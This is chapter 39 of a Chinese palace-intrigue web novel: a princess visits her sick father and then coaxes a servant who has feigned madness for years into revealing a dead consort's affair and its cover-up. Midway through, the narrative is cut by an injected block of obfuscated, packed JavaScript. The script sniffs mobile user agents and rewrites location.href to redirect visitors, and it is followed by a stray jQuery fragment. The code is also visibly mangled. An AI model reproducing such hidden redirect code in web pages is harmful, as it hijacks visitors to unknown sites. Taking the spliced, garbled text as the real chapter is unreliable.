39. 第 39 章

凤仪宫。


沈冉风尘仆仆地入宫,恰好撞见蓝平端着一碗药进去,何齐坐在床上倚着床栏,闭着眼眉头紧蹙手不停按揉着太阳穴。


那只黑猫就盘在脚踏上,默默守护着何齐。


蓝平为何齐呈上汤药,提醒道:“凤君,该喝药了。”


何齐连眼都没有睁:“放那吧,凉凉我再喝。”


蓝平应下,将汤药放在一边的柜子上,拿着托盘垂首离开,却和在门口注视许久的沈冉撞了满怀。


何齐听到动静睁开眼,看到沈冉来了有些讶异:“冉儿怎么来了?”


沈冉向蓝平微微颔首示意没关系,缓步走到何齐床前。


沈冉在扬州听闻,何齐年轻时是名动整个江南的美人,又是何氏独子,常有传闻说谁能娶到何氏子谁就可夺天下。


所有人都以为何齐会选择皇太女,何氏与皇太女强强联手。


但是他没有,他选择了当时只是个不受宠皇女的邶帝。


哪怕如今何齐年岁已大,眉目间满是病气缠身的疲惫,依旧可以隐隐窥见当年风貌。


美人迟暮,帝君分居已有二十余年。


整整二十余年,何齐与邶帝再未见面。


何齐和邶帝之间又发生过什么,才会走到今天这个地步呢?


沈冉勉强笑笑,“我想父君想得紧,从行宫回来就马不停蹄地来见父君了。”


何齐向沈冉伸出手,沈冉顺从地走过去在床边坐下,靠在何齐的怀中。


浓烈的草药味,苦涩却让沈冉闻着十分安心。


何齐的手抚过沈冉的头发,这是一手带大的女儿,心中所想他怎么会不知道,何齐轻笑:“你向来无事不登三宝殿,和父君有什么好兜圈子的,直接开口就是了。”


沈冉发现自己的小心思被看穿,耍赖道:“我没有,我就是想父君想得紧。”


“但我确实有一个小小的问题想问父君。”


沈冉从何齐的怀中坐起身,认真道:“兰贵侍,是个什么样的人?”


何齐愣了片刻:“郑怜?”


“他原本只是花房的一个宫侍,得了你母皇的宠幸入了后宫,我与他来往不多,只是当年你母皇对他宠爱有加,晋升速度也相当快。”


“可惜是个福薄的,沈敛出生的时候难产三日,你母皇在他宫前守了三日,只可惜孩子生下来了,大人却没了。”


沈冉:“是什么原因难产?”


何齐似乎在回忆:“郑怜死后,你母皇把接生的稳公与太医全赐死了,没有人知道当时的情况。”


“怎么突然问这些?”


沈冉搪塞道:“没什么,那当年在郑怜宫中伺候的人呢?都哪去了?”


“都死了。”何齐道,“你母皇以他们没照顾好郑怜为由,把整个云水宫的侍从都赐死了。”


稳公太医,还有一整个宫的侍从,全杀了。


沈冉有些震惊,讷讷道:“一个活下来的都没有吗?”


“有一个,不过已经疯了。”


何齐十分平静:“他在郑怜有孕之前就疯了,本来按宫规该杖毙的,但我怜惜那毕竟是一条人命,暗中让人把他安排去了浣衣局。”


浣衣局?


沈冉腾地站了起来,想好下一步该做什么,立刻向何齐告辞准备离开,却被何齐叫住。


何齐的目光落在黑猫身上,轻唤一声:“青奴。”


黑猫一下跳到床上,主动蹭了蹭何齐的手,十分亲昵。


何齐看向沈冉:“我现在没有精力再照顾它,晚些时候我让人把它送去你府上,你替我好好照顾它。”


沈冉沉默地看着黑猫,又看了看何齐苍白的脸。


何齐这话说得像临终托孤,沈冉心里也不好受,鼓励何齐也像是安慰自己:“父君身体很快就会好起来的,到时候我再把青奴送进宫里来陪父君。”


*


沈冉来到浣衣局,浣衣局管事立马迎了上来,讨好道:“此处脏污,五殿下身份尊贵还是不要进去得好。”


沈冉没有搭理他,而是环视一圈浣衣局的环境后,问道:“你们这里有没有一个疯掉的宫人,原先是云水宫的。”


这个范围很小,管事一下就想起来了,却心有顾忌:“有是有,殿下要见他?这……一个疯子,只怕是会冲撞了殿下。”


沈冉态度不容拒绝:“带我去见他。”


管事没法,只能应下领着沈冉往里走去,走过浣衣局宫人住处,在一处偏僻柴房沈冉终于见到了想见的人。


那人正在睡觉,锁链套在他脖子上将他锁在角落,衣物凌乱蓬头垢面,乱糟糟的头发遮住他的面容,也能勉强看出脸上脏污。


管事上前去踹他一脚,脸上满满嫌恶晦气,喝道:“碧玉,有人看你来了。”


接着管事转向沈冉点头哈腰一番,弯着身子就出去了,给沈冉留下一个独立的环境和碧玉交流。


方才管事踹醒他时,沈冉透过他的头发看见他睁眼的时候有一瞬间清明,不像是疯癫的样子。


碧玉平日被欺负惯了,现在见有人来,口中含糊不清地叫嚷着往角落里缩,锁链被扯得哐啷作响,抱着脑袋似乎怕挨打。


此刻看上去倒像一个不折不扣的疯子。


沈冉眯了眯眼。


碧玉嘴里嘟囔着什么,浑身颤抖着不敢看沈冉。


沈冉蹲下身子,决定诈一诈他:“别装了,我知道你没有疯。”


“在浣衣局这么多年不好过吧,告诉我云水宫当年发生了什么,我可以帮你离开这里。”


碧玉一副充耳不闻的模样,口中依旧念念有词,无视沈冉的存在不停在身上抓着虱子把玩。


真疯?


沈冉不相信有人真的会一夜之间疯掉。


她叹息着站起身:“可怜,父君当年保下你的性命,现在竟然如此狼狈。”


“早知如此,当年还不如让你随云水宫众人一同死去了。”


碧玉的身体有一瞬间僵硬,沈冉喃喃道:“本来还想着送你出宫去,但现在看来也没什么必要,一个疯子在哪待着不是待呢?”


“罢了,说这么多做什么。”


沈冉作势离开,身后却传来一道理智声音:“五殿下?”


沈冉回过头,这个装疯十余年的宫人此刻不急不慢坐起来,死死看着沈冉,透过他乱糟糟的头发,沈冉先前没有看错,那是一双清明的眼睛。


“凤君救我一命,这么多年过去,我也该还他一份恩情。”


“我原本以为是七殿下,不想搭理。既然是五殿下的话,想问什么,尽管问吧。”


沈冉看着他:“你当年到底知道了什么,需要你装疯卖傻这么多年?”


碧玉闻言仰起头,这么多年过去,终于能把这个秘密说给愿意相信的人,嘴角露出一抹怪异的笑,缓缓道出往事。


当年郑怜被家人卖进宫,同他一起进宫的还有一个青梅竹马女子,一人做了侍卫一人做了花房侍从,相约攒到钱就出宫成亲。


可某一日,陛下突然造访花房,对郑怜一见钟情宠幸了他,郑怜由此飞上枝头成了凤凰,宫侍翻身当了主子。


他将当时交好的宫侍都调到云水宫中伺候,虽然颇得圣宠,可他始终记挂着青梅竹马的侍卫,瞒着云水宫上下所有人与那侍卫私通。


碧玉是郑怜当时最


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415298|166286||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


要好的朋友,郑怜每次与侍卫私通时,都会让碧玉领着云水宫上下众人出去做些游戏玩乐,他们当时还只当是和郑怜先前有交情,郑怜对他们好允许他们放松。


那日和寻常一样,碧玉领着云水宫的侍从去翠竹园踢毽子,但是毽子落入湖里,碧玉就提出自己住处还有一个,他回去取来。


可等他回到云水宫,就撞见了他这辈子都不会忘怀的一幕。


碧玉说到这,眼里是满满恨意,手紧紧抠入地里,歇斯底里怒骂道:“郑怜这个贱人!我当时就说他会害死云水宫所有人的!”


沈冉道:“你冲进去之后,郑怜是什么反应?”


“他跪在我面前求我,求我看在这么多年的情谊上,不要去告发他。我心软了,又没有别的办法,我想要离开云水宫,他怕我出去乱说,提出让我装疯,那样他才可以放心,毕竟疯子的话是没有人信的。”


“我答应了,却没想到是中了他的诡计!”


“我后来才知道疯掉的宫人会直接被乱棍打死,他就是想我死。好在凤君出面,暗中保下了我的命。”


“这个毒夫!枉我那么多年对他掏心掏肺,他却只想让我死!”


沈冉又道:“后来呢?”


后来,碧玉被安排进浣衣局,每日提心吊胆怕被人发现是装疯。郑怜有孕,陛下相当重视,好吃好喝地供养他,恨不得将全天下的好物件都送入云水宫。


可陛下这般作为,让在浣衣局的碧玉日夜祈祷,希望郑怜没有那么大胆,怀着的真的是陛下的骨肉。


郑怜有孕五月时,碧玉曾听浣衣局的宫人私下嚼舌根,说郑怜的肚子似乎比寻常五月份的要大些,也许是怀的双胎怕被其他后侍嫉妒。


碧玉当时就知道,郑怜肯定是收买了太医,隐瞒怀孕月份。


可碧玉没想到郑怜会因为难产去世,云水宫上下都给郑怜的死陪葬。


碧玉满脸讽刺:“也许陛下现在都被那贱人蒙在鼓里。”


沈冉平静道:“她肯定知道。”


太医院人手一直不足,一名太医的培养要花费大量心血,宫中后侍因为各种原因逝去,不迁怒太医是一个潜规则。


邶帝不止杀了云水宫宫人,还杀死了所有接生的稳公和太医,一定是发现了什么,不愿意被人知道这顶绿帽子的存在,才选择灭口。


碧玉一怔,倏尔低低地笑了起来,那笑声越来越尖锐可怖:“郑怜啊郑怜……你害了多少人,你才是最该死,你早就该下地狱了!”


沈冉悠悠叹息,仰起头看向房梁。


邶帝对沈敛做的一切,大概都是对当年郑怜不忠的报复。


起居簿里郑怜怀孕期间太医的问诊记录并没有提到难产风险,不知道邶帝是发现了什么,才让郑怜“被难产”。


可事情已经过去那么多年,早已淹没在时间中,永远不会有人知道真相了。


沈冉感觉自己的腿像是灌了铅般沉重,走到门口,扶着门框转头最后看了一眼状若疯癫的碧玉。


他很聪明,但是真的幸运吗?


眼睁睁看着自己曾经的好友走向灭亡,装疯卖傻十余年,受尽欺辱。若是没有今天沈冉的造访,他的余生都要在这痛苦中度过。


好坚强。


沈冉如此评价,她从来没见过求生欲望这么顽强的人,即便是沦落到这个样子,他还是想活着,也许就是为了这一刻,将云水宫往事说给愿意相信他的人。


沈冉离开了,不久宫里少了一个名为碧玉的疯子,宫外多一个普通男子,没人知道他从哪来到哪去,经历过什么,也没人会问。


即便是他将往事宣扬出去,也再不会有第二个人相信。